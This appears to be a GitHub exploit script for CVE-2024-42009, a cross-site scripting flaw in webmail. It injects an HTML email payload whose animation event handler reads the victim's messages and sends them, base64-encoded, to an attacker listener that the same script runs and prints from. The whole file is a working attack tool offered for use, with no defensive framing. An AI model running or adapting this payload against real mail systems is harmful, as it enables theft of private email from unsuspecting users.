CVE-2024-42009/exploit.py at main · Bhanunamikaze/CVE-2024-42009 · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import threading
import time
import requests
import base64
import argparse
from bs4 import BeautifulSoup
from http.server import BaseHTTPRequestHandler, HTTPServer
import html

# Email Capture Listener
class EmailCaptureHandler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        return  # Suppress default HTTP server logging

    def do_GET(self):
        if '?data=' in self.path:
            encoded_data = self.path.split('?data=')[1]
            try:
                decoded_content = base64.b64decode(encoded_data).decode('utf-8', 'ignore')
                soup = BeautifulSoup(decoded_content, 'html.parser')

                # Try extracting different potential containers
                email_body = soup.find('div', id='messagebody') or \
                             soup.find('div', class_='message-part') or \
                             soup.find('div', class_='message-htmlpart') or \
                             soup.find('div', class_='rcmBody')

                if email_body:
                    clean_text = email_body.get_text(separator="\n", strip=True)
                    clean_text = html.unescape(clean_text)  # Decode HTML entities like &lt; &gt;

                    print("\n[+] Captured Email Content:")
                    print(clean_text)
                else:
                    print("\n[-] No readable email content found")
            except Exception as e:
                print(f"\n[!] Error decoding email content: {str(e)}")

        self.send_response(200)
        self.end_headers()


def start_listener(host, port):
    server_address = (host, port)
    httpd = HTTPServer(server_address, EmailCaptureHandler)
    print(f"[*] CVE-2024-42009 PoC: Listening on {host}:{port}...\n")
    httpd.serve_forever()


def inject_payload(target_url, from_user, to_user, server_ip, server_port):
    start_uid = 1
    end_uid = 10

    for uid in range(start_uid, end_uid + 1):
        payload = (
            f'<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes '
            f'onanimationstart=fetch(\'/?_task=mail&_action=show&_uid={uid}&_mbox=INBOX&_extwin=1\')'
            f'.then(r=>r.text()).then(t=>fetch(`http://{server_ip}:{server_port}/?data=${{btoa(t)}}`)) foo=bar>'
        )

        post_payload = {
            "name": "Exploiter",
            "email": from_user,
            "message": payload,
            "content": "html",
            "recipient": to_user
        }

        try:
            #print(f"[*] Sending payload for UID {uid}...")
            response = requests.post(target_url, data=post_payload, timeout=10)
            #print(f"[+] Payload sent for UID {uid} (Status: {response.status_code})")
        except Exception as error:
            print(f"[!] Error sending payload for UID {uid}: {str(error)}")

        time.sleep(4)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-42009 PoC: Email Capture Listener & XSS Exploit")
    parser.add_argument("-fu", "--from-user", required=True, help="Sender email address")
    parser.add_argument("-tu", "--to-user", required=True, help="Recipient email address")
    parser.add_argument("-u", "--target-url", required=True, help="Target URL")
    parser.add_argument("-ip", "--server-ip", required=True, help="Listener server IP address")
    parser.add_argument("-p", "--server-port", type=int, required=True, help="Listener server port")
    args = parser.parse_args()

    # Start Listener in a separate thread
    listener_thread = threading.Thread(target=start_listener, args=(args.server_ip, args.server_port), daemon=True)
    listener_thread.start()
    time.sleep(1)

    # Start attack
    inject_payload(args.target_url, args.from_user, args.to_user, args.server_ip, args.server_port)

    # Keep alive
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[!] Stopping...")